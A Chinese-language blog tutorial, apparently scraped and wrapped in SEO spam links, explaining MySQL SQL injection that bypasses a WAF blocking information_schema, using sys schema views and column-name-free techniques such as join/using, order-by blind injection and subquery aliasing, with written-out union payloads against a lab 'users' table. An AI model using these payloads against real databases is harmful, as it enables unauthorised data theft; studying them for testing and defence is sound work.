当前位置: 首页 > wzjs >正文

赣州网站建设流程网址收录平台

赣州网站建设流程,网址收录平台,建设电子书阅读网站,做日本外贸网站有哪些资料目录 一、information_schema库的作用 二、获得表名 2.1 sys.schema_auto_increment_columns 2.2 schema_table_statistics 三、获得列名 join … using … order by盲注 子查询 在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、…

目录

一、information_schema库的作用

二、获得表名

2.1 sys.schema_auto_increment_columns

2.2 schema_table_statistics

三、获得列名

join … using …

order by盲注

子查询


在进行sql注入时,我们经常会使用information_schema来进行爆数据库名、表名、字段名,但是当waf禁用掉这个库时,我们应该如何爆出数据呢?这个时候我们可能会思考有没有可以替代它的库呢?

一、information_schema库的作用

那么想要找到替代它的库,我们首先要知道information_schema库的作用是什么?

        它是一个系统数据库,存储了MySQL服务器中所有其他数据库的元数据信息。提供对数据库、表、列、索引等元数据的访问,帮助我们了解数据库结构。很幸运在mysql 5.7以后新增了schema_auto_increment_columns这个视图去保存所有表中含有自增字段的信息。不仅保存了库名、表名还保存了自增字段的列名

二、获得表名

 2.1 sys.schema_auto_increment_columns

 当我们利用database()函数获得数据库名之后,可以利用这个视图去获得表名和列名

select table_name,column_name from sys.schema_auto_increment_columns where table_schema = "security";

2.2 schema_table_statistics

而对于没有自增列的表名,这个视图是无法获取的。这个时候我们可以通过统计信息视图获得表名

schema_table_statistics_with_buffer
schema_table_statistics

select table_name from sys.schema_table_statistics_with_buffer where table_schema = "security";
select table_name from sys.schema_table_statistics where table_schema = "security";

三、获得列名

对于schema_auto_increment_columns获得了表名,那么列名呢?这里我们就需要用到无列名注入

join … using …

select * from users where id='0' union all select * from (select * from users as a join users as b)as c;
select * from users where id='0' union all select * from (select * from users as a join users as b using(id,username,password))as c;

order by盲注

order by用于根据指定的列对结果集进行排序。一般上是从0-9、a-z排序,不区分大小写。

order by盲注为何可以用于无列名注入呢?看个例子。

 select * from users where id='1' union select 1,2,'c' order by 3;
select * from users where id='1' union select 1,2,'d' order by 3; select * from users where id='1' union select 1,2,'e' order by 3; 

比如当我们需要猜解第三列的内容时,使用order by实例如下:

当猜测的值大于当前值时,会返回原来的数据即这里看第二列返回是否正常的username,否则会返回猜测的值。

子查询

子查询也能用于无列名注入,主要是结合union select联合查询构造列名再放到子查询中实现。

使用如下union联合查询,可以给当前整个查询的列分别赋予1、2、3的名字:

select 1,2,3 union select * from users; 

接着使用子查询就能指定查询刚刚赋予的列名对应的列内容了:

select `3` from (select 1,2,3 union select * from users);  

http://www.dtcms.com/wzjs/121609.html

相关文章:

  • 网站地图提交360识图
  • 360打不开建设银行的网站站长之家whois查询
  • dw做网站字体做多大重庆网站seo外包
  • ui设计怎么自学seo优化快速排名
  • php如何做局域网的网站建设网络营销策划方案
  • 做淘宝链接网站广州seo公司推荐
  • 百度seo排名曝光行者seo四川seo技术培训
  • 金华网站制作策划英文网站seo
  • 网站建设全包广州网站联盟广告
  • 杭州海淀区网站建设如何线上推广引流
  • 做暧昧免费视频大全网站企业网站推广模式
  • 网站分析软件云优化
  • 正在建设的网站百度seo优化技术
  • 用tomcat做网站nba东西部最新排名
  • 网站模板安装教程温州网站快速排名
  • 做动态网站难么360优化大师安卓手机版下载安装
  • 国内永久免费域名申请网站怎么宣传自己的店铺
  • 做关于什么的网站怎么在百度上发广告
  • 文创网站百度新闻头条
  • vi企业设计奶糖 seo 博客
  • asp动态网站开发案例教程 pdf如何去推广一个app
  • dw网站制作河南百度推广代理商
  • wordpress恢复数据库文件长沙seo网站管理
  • 网站建设公司谁管杭州seo网络公司
  • 建五金方面的网站百度搜索引擎优化方案
  • 厦门 外贸商城网站建设跨境电商平台注册开店流程
  • 嘉兴网站建设哪家好网络建站工作室
  • 涉县移动网站建设游戏广告投放平台
  • 青岛网站设计软件淘宝网官方网站
  • 长春市建设集团seo关键词排名优化哪好